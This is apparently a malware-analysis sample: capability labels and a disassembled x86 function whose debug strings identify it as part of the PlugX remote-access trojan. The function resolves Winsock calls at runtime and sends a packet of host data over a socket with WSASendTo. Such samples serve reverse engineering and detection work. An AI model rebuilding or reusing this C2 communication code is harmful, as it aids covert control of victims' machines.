Function at 0x10005a50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
push 0x2002
mov dword [ebp - 8], ecx
call fcn.10027bda
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x10005a92
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
push ebx
mov edx, 0x2ae
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXJoin.cpp
call fcn.10024152
add esp, 8
jmp 0x10005a9b
mov word [ebx + 0x2000], 0
mov esi, dword [ebp + 0xc]
mov eax, 2
mov ecx, dword [ebp + 8]
mov word [ebp - 0x1c], ax
and ecx, esi
mov eax, esi
not eax
or ecx, eax
mov eax, dword [0x10030f80]
mov dword [ebp - 0x18], ecx
test eax, eax
jne 0x10005ae8
mov eax, dword [0x10030f84]
test eax, eax
jne 0x10005ad7
push str.ws2_32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x10030f84], eax
push str.htons
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10030f80], eax
push 0x35
call eax
push 0x68
xor edx, edx
mov word [ebp - 0x1a], ax
lea ecx, [ebx + 0xc]
call fcn.100242ad
mov eax, dword [ebp + 8]
add esp, 4
mov dword [ebx + 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [ebx + 0x18], eax
mov eax, dword [0x10030f74]
mov dword [ebx + 0x14], esi
test eax, eax
jne 0x10005b41
mov eax, dword [0x10030f84]
test eax, eax
jne 0x10005b30
push str.ws2_32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x10030f84], eax
push str.inet_addr
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10030f74], eax
mov esi, dword [ebp - 8]
add esi, 0x6810
push esi
call eax
mov dword [ebx + 0x1c], eax
cmp byte [esi], 0
jne 0x10005b5c
mov dword [ebx + 0x1c], 0
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + 0x695c]
mov dword [ebx + 0x20], eax
cmp dword [ecx + 0x6960], 0
je 0x10005b78
mov dword [ebx + 0x20], 0xff
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynW]
lea eax, [ebx + 0x24]
push 0x28
push dword [ecx + 0x6988]
push eax
call esi
mov ecx, dword [ebp - 8]
lea eax, [ebx + 0x4c]
push 0x28
push dword [ecx + 0x6978]
push eax
call esi
cmp dword [0x10030f68], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
mov dword [ebp + 8], eax
jg 0x10005bb9
mov edi, 0x276d
jmp 0x10005d61
mov edi, dword [0x10031110]
test edi, edi
jne 0x10005c2f
push 0x2c
call fcn.1002422e
mov edi, eax
add esp, 4
test edi, edi
je 0x10005c27
lea ecx, [edi + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0x42
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
mov dword [edi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [edi], eax
xor ecx, ecx
nop dword [eax]
mov eax, dword [edi]
mov dword [eax + ecx + 8], 0
add ecx, 0x10
cmp ecx, 0x4000
jl 0x10005c10
jmp 0x10005c29
xor edi, edi
mov dword [0x10031110], edi
lea esi, [edi + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 8]
push esi
cmp eax, dword [edi + 0xc]
jb 0x10005c53
mov eax, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call eax
mov edi, 6
jmp 0x10005d61
mov edx, eax
mov eax, dword [edi]
add edx, edx
cmp dword [eax + edx*8 + 8], 0
jne 0x10005c71
mov eax, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call eax
mov edi, 6
jmp 0x10005d61
inc dword [eax + edx*8]
mov eax, dword [edi]
mov ecx, dword [eax + edx*8 + 8]
mov edi, dword [eax + edx*8 + 0xc]
mov eax, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp + 0xc], ecx
call eax
test edi, edi
je 0x10005c93
mov edi, 6
jmp 0x10005cd3
test ebx, ebx
jne 0x10005c9c
lea edi, [ebx + 0x57]
jmp 0x10005cd3
mov ecx, dword [ebp + 0xc]
mov eax, 0xff00
mov word [ebx], ax
xor edi, edi
movzx eax, word [ecx + 0x405c]
mov word [ebx + 2], ax
movzx eax, word [ecx + 0x405e]
mov word [ebx + 4], ax
movzx eax, word [ecx + 0x4092]
mov word [ebx + 6], ax
mov eax, dword [ecx + 0x4094]
mov dword [ebx + 8], eax
mov esi, dword [0x10031110]
test esi, esi
jne 0x10005d4f
push 0x2c
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x10005d47
lea eax, [esi + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0x42
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [esi], eax
xor ecx, ecx
nop word [eax + eax]
mov eax, dword [esi]
mov dword [ecx + eax + 8], 0
add ecx, 0x10
cmp ecx, 0x4000
jl 0x10005d30
jmp 0x10005d49
xor esi, esi
mov dword [0x10031110], esi
mov eax, dword [ebp + 8]
push 0
push ecx
push eax
mov ecx, esi
call fcn.10024b68
test edi, edi
je 0x10005d74
push edi
mov edx, 0x2d8
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXJoin.cpp
call fcn.10024152
add esp, 4
cmp dword [0x10030f68], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
mov dword [ebp + 8], eax
jg 0x10005d90
mov edi, 0x276d
jmp 0x10005fa1
mov edi, dword [0x10031110]
test edi, edi
jne 0x10005e0f
push 0x2c
call fcn.1002422e
mov edi, eax
add esp, 4
test edi, edi
je 0x10005e07
lea ecx, [edi + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0x42
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
mov dword [edi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [edi], eax
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov eax, dword [edi]
mov dword [ecx + eax + 8], 0
add ecx, 0x10
cmp ecx, 0x4000
jl 0x10005df0
jmp 0x10005e09
xor edi, edi
mov dword [0x10031110], edi
lea esi, [edi + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 8]
push esi
cmp eax, dword [edi + 0xc]
jb 0x10005e32
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, 6
jmp 0x10005fa1
mov edx, eax
mov eax, dword [edi]
add edx, edx
cmp dword [eax + edx*8 + 8], 0
jne 0x10005e4f
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, 6
jmp 0x10005fa1
inc dword [eax + edx*8]
mov eax, dword [edi]
mov ecx, dword [eax + edx*8 + 8]
mov edi, dword [eax + edx*8 + 0xc]
mov dword [ebp + 0xc], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test edi, edi
je 0x10005e73
mov edi, 6
jmp 0x10005f13
test ebx, ebx
je 0x10005f0e
mov edi, dword [ebp + 0xc]
lea esi, [edi + 0x40e8]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [edi + 0x4060]
cmp eax, 1
je 0x10005f00
cmp eax, 7
je 0x10005f00
cmp eax, 6
je 0x10005f00
mov eax, dword [edi + 0x4058]
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], 0x74
test eax, eax
je 0x10005ebc
mov eax, dword [eax + 0x4054]
jmp 0x10005ec2
mov eax, dword [edi + 0x4054]
push 0
push 0
push 0x10
lea ecx, [ebp - 0x1c]
push ecx
push 0
lea ecx, [ebp + 0xc]
push ecx
push 1
lea ecx, [ebp - 0xc]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_WSASendTo]
cmp eax, 0xffffffff
jne 0x10005ef5
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x10005f13
push esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x10005f13
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, 0x139f
jmp 0x10005f13
mov edi, 0x57
mov esi, dword [0x10031110]
test esi, esi
jne 0x10005f8f
push 0x2c
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x10005f87
lea eax, [esi + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0x42
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [esi], eax
xor ecx, ecx
nop word [eax + eax]
mov eax, dword [esi]
mov dword [ecx + eax + 8], 0
add ecx, 0x10
cmp ecx, 0x4000
jl 0x10005f70
jmp 0x10005f89
xor esi, esi
mov dword [0x10031110], esi
mov eax, dword [ebp + 8]
push 0
push ecx
push eax
mov ecx, esi
call fcn.10024b68
test edi, edi
je 0x10005fb4
push edi
mov edx, 0x2dd
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXJoin.cpp
call fcn.10024152
add esp, 4
test ebx, ebx
je 0x10005fc3
push 1
push ebx
call fcn.10027bcc
add esp, 8
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0xc